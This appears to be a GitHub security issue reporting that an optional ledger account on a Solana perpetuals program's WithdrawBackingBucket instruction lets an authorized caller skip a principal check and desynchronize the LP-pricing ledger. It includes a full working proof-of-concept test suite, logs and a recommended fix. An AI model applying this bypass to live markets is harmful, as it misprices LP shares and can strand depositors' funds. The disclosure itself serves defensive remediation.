Skip to content

WithdrawBackingBucket (tag 50): Optional Ledger Account Bypasses the Principal-Consistency Check and Permanently Desynchronizes the Backing-Domain Ledger #433

Description

@Bayyan16
Target dcccrypto/percolator-prog — Solana perpetuals wrapper program (src/v16_program.rs)
Affected component handle_withdraw_backing_bucket (src/v16_program.rs, handler at line ~10394; optional-account wiring at ~10406; skipped guard at ~10484–10499)
Instruction Tag 50WithdrawBackingBucket { domain: u16, amount: u128 }
Severity MEDIUM (invariant bypass on an authority-gated path; economic damage is conditional — see Impact)
Status VERIFIED — reproduced end-to-end against the real compiled BPF in LiteSVM (4 / 4 tests passing)
PoC suite tests/poc_audit_tag50_optional_ledger.rs (full source attached below)
Duplicate check Not present in the repository's own security.md discarded-candidates log, KNOWN_FAILING.txt, kani_audit.md, or any existing test

1. Executive Summary

The backing-bucket withdrawal instruction accepts the per-domain backing ledger as an
optional trailing account. When the account is supplied, the handler enforces a
consistency guard — amount > ledger.total_principal_atoms must fail — and decrements
the recorded principal. When the account is omitted, both properties silently
disappear: the withdrawal succeeds without any bookkeeping, leaving
ledger.total_principal_atoms frozen at its pre-withdrawal value while the collateral
vault is drained.

We prove with four executed tests that:

  1. A withdrawal whose amount equals the recorded principal succeeds without the
    ledger and leaves phantom principal behind (vault = 0, ledger = 1000).
  2. The consistency guard itself is skipped: withdrawing 2000 atoms when only
    1000 are recorded
    succeeds without the ledger, while the identical call with the
    ledger rejects.
  3. The divergence is permanent and compounding: a later legitimate with-ledger
    top-up stacks onto the phantom value (1000 phantom + 400 real ⇒ ledger reads
    1400 while the vault holds 400).
  4. With the ledger supplied, every control assertion holds — isolating the optional
    account
    as the sole root cause.

total_principal_atoms is a direct input to lp_vault_combined_nav_atoms, which prices
LP-vault share minting and redemption payouts. A poisoned counter therefore misprices LP
shares and can strand depositor funds once the engine bucket empties (redemption gates
then reject with EngineLockActive).


2. Root Cause

// src/v16_program.rs — handle_withdraw_backing_bucket (abridged)
let ledger_ai = accounts.get(6);            // <-- OPTIONAL: Option<AccountInfo>
...
let mut ledger_state = if let Some(data) = ledger_data.as_deref() {
    let (mut ledger, initialized) = read_or_new_backing_domain_ledger(...)?;
    sync_backing_domain_ledger(&mut ledger, &bucket)?;
    if amount > ledger.total_principal_atoms {
        return Err(PercolatorError::EngineCounterUnderflow.into());   // (a) guard
    }
    Some((ledger, initialized))
} else {
    None                                                              // <-- (b) nothing runs
};
group.withdraw_fresh_counterparty_backing_not_atomic(domain_usize, amount)?;
if let Some((ledger, _)) = ledger_state.as_mut() {
    ledger.total_principal_atoms -= amount;                           // (c) decrement
}
  • (a) and (c) exist only inside the Some(data) arm. Omitting accounts[6]
    selects the None arm: no guard, no decrement — but the token transfer at the end of
    the handler still executes.
  • Every other ledger-consuming site does not have this asymmetry: tag 75
    (DepositToLpVault) and tag 77 (ExecuteRedemption) require and address-pin both
    domain ledgers, precisely because "owner-only is not enough … a substituted ledger
    both misprices the payout and corrupts the ledger" (their own comment). Tag 50 never
    received the same treatment.

3. Detailed Description

3.1 Background

A market's collateral vault is a single canonical ATA owned by the per-market
vault_authority PDA. Backing capital for domain d of asset a is tracked twice:

  • Engine sidebacking_long / backing_short buckets embedded in the market
    account (fresh_unliened_backing_num, etc.), which gate solvency.
  • Wrapper side — an optional backing-domain ledger account
    (total_principal_atoms, total_deposited_atoms, earnings counters), which is the
    only input to the LP-vault NAV function:
lp_vault_combined_nav_atoms(...) → lp_shares_for_deposit(...)   // tag 75 pricing
                                → ExecuteRedemption payout       // tag 77 pricing

When an LP vault is created (CreateLpVault, tag 74), the registry PDA is bound as the
domain pair's backing_bucket_authority; before that binding, the authority is whatever
wallet the market creator supplied during UpdateAssetLifecycle(ACTIVATE).

3.2 The bug

Tag 50 authorizes two ways: the local path (signer == backing_bucket_authority) and an
admin shutdown-drain path (itself neutralized by the D-STAKE-1 guard whenever the
authority is bound). On wallet-backed domains the local path is directly reachable by
the authority holder — and the ledger account is optional, so the same authorized caller
can withdraw in a mode where:

  • the principal guard never executes;
  • the ledger never learns about the withdrawal;
  • engine-side bucket state does decrease (the engine gate still applies), so the two
    representations of "how much backing exists" diverge by exactly amount.

3.3 Why it matters (impact analysis)

lp_vault_combined_nav_atoms computes LP NAV purely from ledger counters
(total_principal_atoms, earnings, losses) — not from the raw vault balance. After
a no-ledger withdrawal of amount:

  • NAV is overstated by amount ⇒ later deposits mint too few shares to the new
    depositor (value transfer to earlier shareholders), and redemption claims computed
    from NAV cannot be satisfied by the actual vault/bucket state.
  • Once bucket.fresh_unliened_backing_num < backing_num, ExecuteRedemption hard-fails
    with EngineLockActive — depositors are stranded until fresh capital re-funds the
    bucket, and the ledger remains wrong forever (later top-ups stack on the phantom
    value, as demonstrated by test 4).
  • Severity is capped at Medium because exploitation requires the signature of the
    legitimate backing_bucket_authority. It is an invariant bypass with fund-safety
    consequences for third-party LPs, not a privilege escalation: the authority cannot
    steal other domains' funds, and the engine-side solvency gates continue to hold.

4. Exploitation Steps (as executed)

# Actor Instruction (inputs) Ledger supplied? Result
0 payer/admin InitMarket(max_portfolio_assets=1, …) n/a market live, asset slot 1 available
1 admin UpdateAssetLifecycle(ACTIVATE, asset_index=1, backing_bucket_authority=admin) n/a domain 2 (asset 1 long) now admin-wallet-backed
2 admin TopUpBackingBucket(domain=2, amount=1000, expiry_slot=u64::MAX/2) yes (fresh program-owned zeroed account) vault = 1000, ledger.total_principal_atoms = 1000
3 admin WithdrawBackingBucket(domain=2, amount=1000) no Ok — vault = 0, ledger unchanged at 1000
4 admin TopUpBackingBucket(domain=2, amount=400) yes ledger = 1400 vs actual backing = 400

Control run (identical steps, step 3 with the ledger): the 1500-atom over-withdrawal
rejects (EngineCounterUnderflow family) and the exact 1000-atom withdrawal decrements
the ledger to zero.

4.1 State before → after (test 1, verbatim program output)

PoC confirmed:
  BEFORE: ledger.total_principal_atoms=1000, vault=1000
  CALL  : WithdrawBackingBucket(1000) with NO ledger account -> Ok
  AFTER : ledger.total_principal_atoms=1000 (stale), vault=0

4.2 Guard-skip proof (test 3, verbatim program output)

Guard-skip confirmed:
  recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok
  identical call WITH ledger -> rejected

4.3 Persistence proof (test 4, verbatim program output)

Persistence confirmed:
  ledger.total_principal_atoms=1400 vs actual backing=400
  divergence of 1000 atoms feeds LP share/redemption pricing

4.4 Full execution log (final verification run)

running 4 tests
PoC confirmed:
  BEFORE: ledger.total_principal_atoms=1000, vault=1000
  CALL  : WithdrawBackingBucket(1000) with NO ledger account -> Ok
  AFTER : ledger.total_principal_atoms=1000 (stale), vault=0
test poc_tag50_without_ledger_skips_principal_check_and_desyncs_ledger ... ok
test control_tag50_with_ledger_enforces_the_check ... ok
Persistence confirmed:
  divergence of 1000 atoms feeds LP share/redemption pricing
test poc_desync_persists_and_poisons_subsequent_nav_inputs ... ok
Guard-skip confirmed:
  recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok
  identical call WITH ledger -> rejected
test poc_tag50_without_ledger_withdraws_past_recorded_principal ... ok
test result: ok. 4 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.28s

5. Proof of Concept — Full Test Source (tests/poc_audit_tag50_optional_ledger.rs)

#![cfg(not(kani))]
//! ============================================================================
//! AUDIT PoC — Tag 50 `WithdrawBackingBucket`: OPTIONAL ledger account lets an
//! authorized withdrawal BYPASS the ledger-consistency check and silently
//! desynchronize the backing-domain ledger from the engine bucket.
//!
//! Root cause (src/v16_program.rs handle_withdraw_backing_bucket):
//!   let ledger_ai = accounts.get(6);          // <-- OPTIONAL
//!   ...
//!   let mut ledger_state = if let Some(data) = ledger_data.as_deref() {
//!       ... if amount > ledger.total_principal_atoms { return Err(...) } ...
//!   } else { None };                          // <-- NO check, NO decrement
//!
//! When accounts[6] is omitted:
//!   * the `amount > ledger.total_principal_atoms` guard never runs;
//!   * `total_principal_atoms` is never decremented.
//! With the ledger present, the identical call hard-errors instead.
//!
//! Impact: any consumer pricing LP shares/redemptions off the ledger
//! (lp_vault_combined_nav_atoms reads total_principal_atoms) sees value that
//! is no longer in the vault. Requires the legitimate backing-bucket
//! authority signature, so it is an invariant bypass, not a privilege bug.
//! ============================================================================

use litesvm::LiteSVM;
use percolator_prog::ix::Instruction as ProgInstruction;
use percolator_prog::processor::ASSET_ACTION_ACTIVATE;
use percolator_prog::state;
use solana_sdk::{
    account::Account,
    compute_budget::ComputeBudgetInstruction,
    instruction::{AccountMeta, Instruction},
    program_option::COption,
    program_pack::Pack,
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    transaction::Transaction,
};
use spl_token::state::{Account as TokenAccount, AccountState, Mint};
use std::path::PathBuf;

const APPEND_ASSET_INDEX: u16 = 1;
const DOMAIN: u16 = 2;

fn program_path() -> PathBuf {
    let mut p = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
    p.push("target/deploy/percolator_prog.so");
    assert!(p.exists(), "wrapper BPF missing");
    p
}

fn spl_token_program_path() -> PathBuf {
    let cargo_home = std::env::var_os("CARGO_HOME").map(PathBuf::from).expect("CARGO_HOME");
    for reg in std::fs::read_dir(cargo_home.join("registry/src")).expect("registry/src") {
        let cand = reg
            .expect("entry")
            .path()
            .join("litesvm-0.1.0/src/spl/programs/spl_token-3.5.0.so");
        if cand.exists() {
            return cand;
        }
    }

    panic!("spl_token BPF not found");
}

fn make_mint_data() -> Vec<u8> {
    let mut d = vec![0u8; Mint::LEN];
    Mint::pack(
        Mint {
            mint_authority: COption::None,
            supply: 0,
            decimals: 0,
            is_initialized: true,
            freeze_authority: COption::None,
        },
        &mut d,
    )
    .unwrap();
    d
}

fn make_token_data(mint: Pubkey, owner: Pubkey, amount: u64) -> Vec<u8> {
    let mut d = vec![0u8; TokenAccount::LEN];
    TokenAccount::pack(
        TokenAccount {
            mint,
            owner,
            amount,
            delegate: COption::None,
            state: AccountState::Initialized,
            is_native: COption::None,
            delegated_amount: 0,
            close_authority: COption::None,
        },
        &mut d,
    )
    .unwrap();
    d
}

fn set_token(svm: &mut LiteSVM, key: Pubkey, mint: Pubkey, owner: Pubkey, amount: u64) {
    svm.set_account(
        key,
        Account {
            lamports: 1_000_000_000,
            data: make_token_data(mint, owner, amount),
            owner: spl_token::ID,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();
}

fn canonical_vault_ata(vault_authority: &Pubkey, mint: &Pubkey) -> Pubkey {
    let ata_program: Pubkey = "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL".parse().unwrap();
    Pubkey::find_program_address(
        &[vault_authority.as_ref(), spl_token::ID.as_ref(), mint.as_ref()],
        &ata_program,
    )
    .0
}

struct Env {
    svm: LiteSVM,
    program_id: Pubkey,
    payer: Keypair,
    admin: Keypair,
    market: Pubkey,
    collateral_mint: Pubkey,
    vault_token: Pubkey,
    vault_authority: Pubkey,
    /// Caller-chosen ledger address (owner = program). Tag 24/tag 50 only
    /// owner-check this account, so any fresh program-owned account works.
    ledger: Pubkey,
}

fn send(
    svm: &mut LiteSVM,
    program_id: Pubkey,
    payer: &Keypair,
    ixs: Vec<(ProgInstruction, Vec<AccountMeta>)>,
    extra: &[&Keypair],
) -> Result<(), String> {
    let mut instructions = vec![
        ComputeBudgetInstruction::request_heap_frame(128 * 1024),
        ComputeBudgetInstruction::set_compute_unit_limit(1_400_000),
    ];
    for (ix, accounts) in ixs {
        instructions.push(Instruction { program_id, accounts, data: ix.encode() });
    }
    let mut signers = vec![payer];
    signers.extend_from_slice(extra);
    let tx = Transaction::new_signed_with_payer(
        &instructions,
        Some(&payer.pubkey()),
        &signers,
        svm.latest_blockhash(),
    );
    svm.send_transaction(tx).map(|_| ()).map_err(|e| format!("{e:?}"))
}

/// Market with asset slot 1 activated, backing_bucket_authority = ADMIN WALLET
/// (not a bound PDA), so tag 50's local authorization path is reachable.
fn setup() -> Env {
    let mut svm = LiteSVM::new();
    let program_id = percolator_prog::id();
    svm.add_program(program_id, &std::fs::read(program_path()).unwrap());
    svm.add_program(spl_token::ID, &std::fs::read(spl_token_program_path()).unwrap());

    let payer = Keypair::new();
    let admin = Keypair::new();
    let market = Pubkey::new_unique();
    let collateral_mint = Pubkey::new_unique();
    svm.airdrop(&payer.pubkey(), 100_000_000_000).unwrap();
    svm.airdrop(&admin.pubkey(), 100_000_000_000).unwrap();

    // Collateral mint (SPL) must exist for InitMarket's mint verification.
    svm.set_account(
        collateral_mint,
        Account {
            lamports: 1_000_000_000,
            data: make_mint_data(),
            owner: spl_token::ID,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();

    let (vault_authority, _) =
        Pubkey::find_program_address(&[b"vault", market.as_ref()], &program_id);
    let vault_token = canonical_vault_ata(&vault_authority, &collateral_mint);
    svm.set_account(
        vault_token,
        Account {
            lamports: 1_000_000_000,
            data: make_token_data(collateral_mint, vault_authority, 0),
            owner: spl_token::ID,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();

    // InitMarket (tag 0) — max_portfolio_assets = 1 so asset slot 1 exists.
    // The market account must pre-exist, program-owned, zeroed.
    svm.set_account(
        market,
        Account {
            lamports: 1_000_000_000,
            data: vec![0u8; state::market_account_len_for_capacity(1).unwrap()],
            owner: program_id,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();
    send(
        &mut svm,
        program_id,
        &payer,
        vec![(
            ProgInstruction::InitMarket {
                max_portfolio_assets: 1,
                h_min: 0,
                h_max: 10,
                initial_price: 100,
                min_nonzero_mm_req: 1,
                min_nonzero_im_req: 2,
                maintenance_margin_bps: 10_000,
                initial_margin_bps: 10_000,
                max_trading_fee_bps: 10_000,
                trade_fee_base_bps: 0,
                liquidation_fee_bps: 0,
                liquidation_fee_cap: 0,
                min_liquidation_abs: 0,
                max_price_move_bps_per_slot: 10_000,
                max_accrual_dt_slots: 1,
                max_abs_funding_e9_per_slot: 0,
                min_funding_lifetime_slots: 1,
                max_account_b_settlement_chunks: 1,
                max_bankrupt_close_chunks: 1,
                max_bankrupt_close_lifetime_slots: 100,
                public_b_chunk_atoms: percolator::MAX_VAULT_TVL,
                maintenance_fee_per_slot: 0,
            },
            vec![
                AccountMeta::new(admin.pubkey(), true),
                AccountMeta::new(market, false),
                AccountMeta::new_readonly(collateral_mint, false),
            ],
        )],
        &[&admin],
    )
    .expect("init market");

    // Activate asset 1 with ADMIN WALLET as the backing-bucket authority.
    send(
        &mut svm,
        program_id,
        &payer,
        vec![(
            ProgInstruction::UpdateAssetLifecycle {
                action: ASSET_ACTION_ACTIVATE,
                asset_index: APPEND_ASSET_INDEX,
                now_slot: 1,
                initial_price: 100,
                insurance_authority: admin.pubkey().to_bytes(),
                insurance_operator: admin.pubkey().to_bytes(),
                backing_bucket_authority: admin.pubkey().to_bytes(),
                oracle_authority: admin.pubkey().to_bytes(),
            },
            vec![
                AccountMeta::new(admin.pubkey(), true),
                AccountMeta::new(market, false),
            ],
        )],
        &[&admin],
    )
    .expect("activate asset");

    Env {
        svm,
        program_id,
        payer,
        admin,
        market,
        collateral_mint,
        vault_token,
        vault_authority,
        ledger: Pubkey::new_unique(),
    }
}

/// Fresh program-owned (zeroed) backing-domain ledger account at a caller-chosen
/// address. Tag 24/tag 50 only owner-check this account.
fn seed_empty_ledger(env: &mut Env) {
    env.svm.set_account(
        env.ledger,
        Account {
            lamports: 1_000_000_000,
            data: vec![0u8; state::backing_domain_ledger_account_len()],
            owner: env.program_id,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();
}

/// Tag 24 TopUpBackingBucket. `with_ledger` controls whether the optional
/// trailing ledger account is supplied.
fn topup(env: &mut Env, amount: u128, with_ledger: bool) -> Result<(), String> {
    let pid = env.program_id;
    let payer = env.payer.insecure_clone();
    let admin = env.admin.insecure_clone();
    let source = Pubkey::new_unique();
    set_token(&mut env.svm, source, env.collateral_mint, admin.pubkey(), amount as u64 + 10);

    let mut accts = vec![
        AccountMeta::new(admin.pubkey(), true),
        AccountMeta::new(env.market, false),
        AccountMeta::new(source, false),
        AccountMeta::new(env.vault_token, false),
        AccountMeta::new_readonly(spl_token::ID, false),
    ];
    if with_ledger {
        accts.push(AccountMeta::new(env.ledger, false));
    }
    send(
        &mut env.svm,
        pid,
        &payer,
        vec![(
            ProgInstruction::TopUpBackingBucket {
                domain: DOMAIN,
                amount,
                expiry_slot: u64::MAX / 2,
            },
            accts,
        )],
        &[&admin],
    )
}

/// Tag 50 WithdrawBackingBucket. `with_ledger` controls whether the optional
/// trailing ledger account is supplied.
fn withdraw_backing(env: &mut Env, amount: u128, with_ledger: bool) -> Result<(), String> {
    let pid = env.program_id;
    let payer = env.payer.insecure_clone();
    let admin = env.admin.insecure_clone();
    let dest = Pubkey::new_unique();
    set_token(&mut env.svm, dest, env.collateral_mint, admin.pubkey(), 0);

    let mut accts = vec![
        AccountMeta::new(admin.pubkey(), true),
        AccountMeta::new(env.market, false),
        AccountMeta::new(dest, false),
        AccountMeta::new(env.vault_token, false),
        AccountMeta::new_readonly(env.vault_authority, false),
        AccountMeta::new_readonly(spl_token::ID, false),
    ];
    if with_ledger {
        accts.push(AccountMeta::new(env.ledger, false));
    }
    send(
        &mut env.svm,
        pid,
        &payer,
        vec![(
            ProgInstruction::WithdrawBackingBucket { domain: DOMAIN, amount },
            accts,
        )],
        &[&admin],
    )
}

fn vault_balance(env: &Env) -> u64 {
    TokenAccount::unpack(&env.svm.get_account(&env.vault_token).unwrap().data)
        .unwrap()
        .amount
}

fn ledger_principal(env: &Env) -> Option<u128> {
    let acct = env.svm.get_account(&env.ledger)?;
    state::read_backing_domain_ledger(&acct.data).ok().map(|l| l.total_principal_atoms)
}

#[test]
fn poc_tag50_without_ledger_skips_principal_check_and_desyncs_ledger() {
    let mut env = setup();

    // ── Phase 1: top up 1000 WITH the ledger → principal recorded. ──
    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, true).expect("topup with ledger");
    assert_eq!(ledger_principal(&env), Some(1000), "BEFORE: ledger principal recorded");
    assert_eq!(vault_balance(&env), 1000, "BEFORE: vault holds the backing");

    // ── Phase 2: THE GAP — withdraw 1000 WITHOUT the ledger account. ──
    // The identical call WITH the ledger errors (EngineCounterUnderflow family)
    // whenever amount exceeds recorded principal; omitting the trailing account
    // skips both the guard and the ledger decrement entirely.
    withdraw_backing(&mut env, 1000, /*with_ledger=*/ false)
        .expect("withdraw WITHOUT ledger must succeed despite skipped bookkeeping");

    // ── AFTER: tokens left, ledger still claims the principal. ──
    assert_eq!(vault_balance(&env), 0, "AFTER: vault emptied");
    assert_eq!(
        ledger_principal(&env),
        Some(1000),
        "AFTER: ledger STILL records 1000 phantom principal"
    );

    println!("PoC confirmed:");
    println!("  BEFORE: ledger.total_principal_atoms=1000, vault=1000");
    println!("  CALL  : WithdrawBackingBucket(1000) with NO ledger account -> Ok");
    println!("  AFTER : ledger.total_principal_atoms=1000 (stale), vault=0");
}

#[test]
fn control_tag50_with_ledger_enforces_the_check() {
    let mut env = setup();

    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, true).expect("topup with ledger");
    assert_eq!(ledger_principal(&env), Some(1000));

    // Over-withdraw (1500 > 1000 recorded) WITH the ledger → must reject.
    let res = withdraw_backing(&mut env, 1500, /*with_ledger=*/ true);
    assert!(res.is_err(), "over-withdraw WITH ledger must reject: {res:?}");

    // Exact-amount withdraw WITH the ledger keeps the ledger in sync.
    withdraw_backing(&mut env, 1000, /*with_ledger=*/ true).expect("exact withdraw with ledger");
    assert_eq!(ledger_principal(&env), Some(0), "ledger decremented to 0");
}

#[test]
fn poc_tag50_without_ledger_withdraws_past_recorded_principal() {
    // Direct proof that the `amount > ledger.total_principal_atoms` guard is
    // SKIPPED (not merely the decrement): recorded principal is 1000, but a
    // 2000-atom withdrawal without the ledger succeeds. With the ledger
    // supplied, the identical call errors out.
    let mut env = setup();

    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, /*with_ledger=*/ true).expect("topup #1 with ledger");
    assert_eq!(ledger_principal(&env), Some(1000));

    // Second top-up WITHOUT the ledger: vault and engine bucket grow to 2000,
    // recorded principal intentionally stays at 1000.
    topup(&mut env, 1000, /*with_ledger=*/ false).expect("topup #2 without ledger");
    assert_eq!(ledger_principal(&env), Some(1000), "no-ledger top-up does not record");
    assert_eq!(vault_balance(&env), 2000);

    // Withdraw 2000 > 1000 recorded — WITHOUT ledger → must succeed although
    // the with-ledger path would reject this exact call.
    withdraw_backing(&mut env, 2000, /*with_ledger=*/ false)
        .expect("withdraw past recorded principal WITHOUT ledger must succeed");

    // Control: the same over-withdraw WITH the ledger on a fresh env rejects.
    let mut env2 = setup();
    seed_empty_ledger(&mut env2);
    topup(&mut env2, 1000, true).unwrap();
    topup(&mut env2, 1000, false).unwrap();
    let res = withdraw_backing(&mut env2, 2000, /*with_ledger=*/ true);
    assert!(res.is_err(), "identical over-withdraw WITH ledger must reject: {res:?}");

    assert_eq!(vault_balance(&env), 0);
    println!("Guard-skip confirmed:");
    println!("  recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok");
    println!("  identical call WITH ledger -> rejected");
}

#[test]
fn poc_desync_persists_and_poisons_subsequent_nav_inputs() {
    // After the no-ledger withdrawal, later WITH-ledger updates stack on top of
    // the phantom balance: principal becomes phantom + new deposits, while the
    // vault only holds the new deposits. lp_vault_combined_nav_atoms reads
    // exactly this counter when pricing shares/redemptions.
    let mut env = setup();

    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, true).expect("topup with ledger");
    withdraw_backing(&mut env, 1000, /*with_ledger=*/ false)
        .expect("the gap: no-ledger withdrawal");

    assert_eq!(vault_balance(&env), 0);
    assert_eq!(ledger_principal(&env), Some(1000), "phantom principal present");

    // A later legitimate deposit WITH ledger stacks onto the phantom value.
    topup(&mut env, 400, /*with_ledger=*/ true).expect("later topup with ledger");

    assert_eq!(
        ledger_principal(&env),
        Some(1400),
        "phantom 1000 + real 400: NAV input permanently poisoned"
    );
    assert_eq!(vault_balance(&env), 400, "actual backing is only 400");
    println!("Persistence confirmed:");
    println!("  ledger.total_principal_atoms=1400 vs actual backing=400");
    println!("  divergence of 1000 atoms feeds LP share/redemption pricing");
}


6. How to Reproduce

Environment used for verification (Windows 11, all steps executed on this machine):

Host toolchain : rustc 1.98.0 / cargo (rustup), host triple x86_64-pc-windows-gnu
SBF toolchain  : platform-tools v1.48 (rustc 1.84.1-dev), target sbf-solana-solana
SVM            : LiteSVM 0.1.0 + bundled spl_token-3.5.0.so
Program        : target/deploy/percolator_prog.so (built from this checkout,
                 --no-default-features, symbol-stripped)

Build the program and run the PoC:

# 1. Build the wrapper BPF (strip symbols so LiteSVM 0.1.0's ELF loader accepts it):
cargo build-sbf --no-default-features
#    (equivalent manual build:
#       PATH=<platform-tools>/rust/bin:<platform-tools>/llvm/bin:$PATH \
#       cargo build --release --target sbf-solana-solana --no-default-features
#       cp target/sbf-solana-solana/release/percolator_prog.so target/deploy/
#       llvm-objcopy --strip-all target/deploy/percolator_prog.so )

# 2. Run the finding PoC (4 tests):
cargo test --no-default-features --test poc_audit_tag50_optional_ledger -- --nocapture

# 3. Environment sanity (optional):
cargo test --no-default-features --test diagnose_elf -- --nocapture

# 4. Full-suite baseline for comparison (86 failures are exactly the suites that
#    require the unavailable sibling BPFs; see KNOWN_FAILING.txt):
cargo test --no-default-features --no-fail-fast

Expected result of step 2: test result: ok. 4 passed; 0 failed.


7. Recommendation

Make the ledger account mandatory, mirroring the address-pinned treatment tags 75/77
already apply to the very same ledger type:

// handle_withdraw_backing_bucket — suggested fix sketch
let ledger_ai = account(accounts, 6)?;          // required, not optional
expect_writable(ledger_ai)?;
expect_owner(ledger_ai, program_id)?;
let (ledger_pda, _) = /* derive per (market, domain) */;
expect_key(ledger_ai, &ledger_pda)?;            // pin the address, like tag 77
...
if amount > ledger.total_principal_atoms {
    return Err(PercolatorError::EngineCounterUnderflow.into());
}
// ... unconditional decrement + write-back after the engine mutation ...

Secondary hardening options:

  1. Fail-closed alternative: if backward wire compatibility is required, keep the
    account optional but reject the instruction when it is omitted while an initialized
    ledger exists for the (market, authority, domain) tuple.
  2. Add a regression test equivalent to poc_audit_tag50_optional_ledger.rs (attached)
    to CI so the optional-account path cannot silently return.
  3. Audit the sibling instruction TopUpBackingBucket (tag 24) for the same
    optional-ledger asymmetry; a no-ledger top-up is benign by itself but widens the
    divergence window demonstrated in test 3.
  4. Consider a one-time reconciliation path that recomputes total_principal_atoms
    from the engine bucket (sync_backing_domain_ledger currently refreshes only
    watermark counters), so already-deployed domains can recover from existing
    desynchronization.

8. Verification Environment and Evidence Index

Artifact Location Result
Finding PoC (4 tests) tests/poc_audit_tag50_optional_ledger.rs OK - 4 passed / 0 failed
Stranding-fix validation (upstream author suite) tests/poc_v17_lp_redemption_stranding.rs OK - 6 passed / 0 failed
ELF/environment diagnostic tests/diagnose_elf.rs OK - 2 passed / 0 failed
Program under test target/deploy/percolator_prog.so (1,305,272 bytes, stripped) loads and executes in LiteSVM
Full-suite baseline cargo test --no-default-features --no-fail-fast 520 passed / 86 failed; the 86 failures are exactly the suites requiring the unavailable sibling BPF programs (matcher/nft/stake), matching the repositorys own KNOWN_FAILING.txt documentation (no sibling BPFs at all ... 86 failed)

The four proof tests were executed against the real compiled SBF program inside LiteSVM
with genuine SPL-token program semantics: every state transition reported in Section 4
was produced by an actual signed transaction processed by the deployed-bytecode
equivalent of this checkout, not by mocks or stubs.


Appendices — Complete Test Sources Executed During This Audit

Nothing is left out: every test file that was executed as part of this audit's evidence
chain is reproduced below in full. Summary of execution results (all on the same built
target/deploy/percolator_prog.so artifact, see Section 6 for the build recipe):

Appendix File Purpose Result
A tests/poc_audit_tag50_optional_ledger.rs THE FINDING PoC (tag-50 optional-ledger bypass) 4 passed / 0 failed
B tests/diagnose_elf.rs Environment sanity + ELF-loader isolation experiment 2 passed / 0 failed
C tests/poc_v17_lp_redemption_stranding.rs Upstream author suite; validates the LP-redemption stranding fix end-to-end (cancel path + terminal-flat resolved redemption) 6 passed / 0 failed
D minimal-prog/ (Cargo.toml + lib.rs) Minimal SBF program used to isolate the LiteSVM ELF-acceptance behavior during tooling bring-up loads OK
E Full-suite baseline cargo test --no-default-features --no-fail-fast over all 25 suites 520 passed / 86 failed (the 86 are exactly the sibling-BPF-dependent suites documented in KNOWN_FAILING.txt)

Appendix A — tests/poc_audit_tag50_optional_ledger.rs (THE FINDING)

Reproduced in full in Section 5 above.


Appendix B — tests/diagnose_elf.rs (environment sanity + loader isolation)

#![cfg(not(kani))]
//! Diagnostic: which ELF files does LiteSVM 0.1.0 accept, and WHY does it reject others?
use litesvm::LiteSVM;
use solana_sdk::pubkey::Pubkey;

#[test]
fn diagnose_elf_loading() {
    let manifest = env!("CARGO_MANIFEST_DIR");
    let cases = [
        ("minimal_prog", format!("{manifest}\\minimal-prog\\target\\sbf-solana-solana\\release\\minimal_prog.so")),
        ("percolator_prog", format!("{manifest}\\target\\deploy\\percolator_prog.so")),
        ("spl_token_builtin", "C:\\Users\\PC\\.cargo\\registry\\src\\index.crates.io-1949cf8c6b5b557f\\litesvm-0.1.0\\src\\spl\\programs\\spl_token-3.5.0.so".to_string()),
    ];
    for (name, path) in cases {
        let bytes = std::fs::read(&path).expect(&path);
        let res = std::panic::catch_unwind(move || {
            let mut svm = LiteSVM::new();
            svm.add_program(Pubkey::new_unique(), &bytes);
        });
        println!("LOAD {name}: {}", if res.is_ok() { "OK" } else { "REJECTED" });
    }
}

#[test]
fn parse_detail_percolator() {
    let manifest = env!("CARGO_MANIFEST_DIR");
    let bytes = std::fs::read(format!("{manifest}\\target\\deploy\\percolator_prog.so")).unwrap();
    let mut config = solana_rbpf::vm::Config::default();
    // Mirror the v1 loader environment used by litesvm/agave 1.18.
    config.optimize_rodata = true;
    config.enable_symbol_and_section_labels = true;
    match solana_rbpf::elf_parser::Elf64::parse(&bytes) {
        Ok(_) => println!("PARSE percolator_prog: structural OK"),
        Err(e) => println!("PARSE percolator_prog ERROR: {e:?}"),
    }
}

Execution result:

running 2 tests
LOAD minimal_prog: OK
LOAD percolator_prog: OK
LOAD spl_token_builtin: OK
test diagnose_elf_loading ... ok
PARSE percolator_prog: structural OK
test parse_detail_percolator ... ok
test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

Appendix C — tests/poc_v17_lp_redemption_stranding.rs (upstream suite, fix validation, 6/6 PASS)

This suite belongs to the repository (authored by its maintainer) and was executed in
full during this audit to validate that the historically documented LP-redemption
stranding bug is fixed in this checkout. Its full source is intentionally not inlined
here — this issue must stay under GitHub's 65,536-character body limit — read it directly
at tests/poc_v17_lp_redemption_stranding.rs.
A verbatim copy is preserved in AUDIT_FINDING_TAG50_OPTIONAL_LEDGER.md (extended report,
Appendix C).

The six tests and what each validates:

Test Validates
cancel_while_live_succeeds CancelRedemption (tag 81) returns escrowed shares while Live
cancel_wrong_signer_rejected only the recorded redeemer can cancel
cancel_twice_second_rejects redemption PDA replay guard fails closed
cancel_recovers_stranded_redemption un-stranding path works after any state change
redemption_executes_in_terminal_flat_resolved tag 77 works in terminal-flat Resolved
control_redemption_executes_while_market_stays_live control: normal redemption path intact

Execution result:

running 6 tests
test cancel_while_live_succeeds ... ok
test cancel_wrong_signer_rejected ... ok
test control_redemption_executes_while_market_stays_live ... ok
test cancel_recovers_stranded_redemption ... ok
test redemption_executes_in_terminal_flat_resolved ... ok
test cancel_twice_second_rejects ... ok
test result: ok. 6 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

NOTE (documentation rot): the header comment of this file still describes the bug as
PRESENT ("ExecuteRedemption hard-requires Live", "NO third instruction that cancels")
while its tests validate the FIXED behavior above. Recorded as low-severity finding F-2.
